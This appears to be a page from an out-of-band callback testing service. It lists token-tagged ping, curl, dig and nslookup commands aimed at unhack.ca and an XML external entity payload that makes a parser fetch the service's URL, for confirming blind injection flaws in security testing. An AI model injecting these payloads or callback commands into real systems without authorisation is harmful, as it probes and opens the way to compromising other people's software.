$ ping -c1 -p 00ba927f613bc27030b08701250b6e00 unhack.ca
 
$ curl http://unhack.ca/p/ba927f613bc27030b08701250b6e
 
$ dig ba927f613bc27030b08701250b6e @unhack.ca
 
$ dig ba927f613bc27030b08701250b6e.ns.unhack.ca
 
C:\> nslookup ba927f613bc27030b08701250b6e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ba927f613bc27030b08701250b6e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...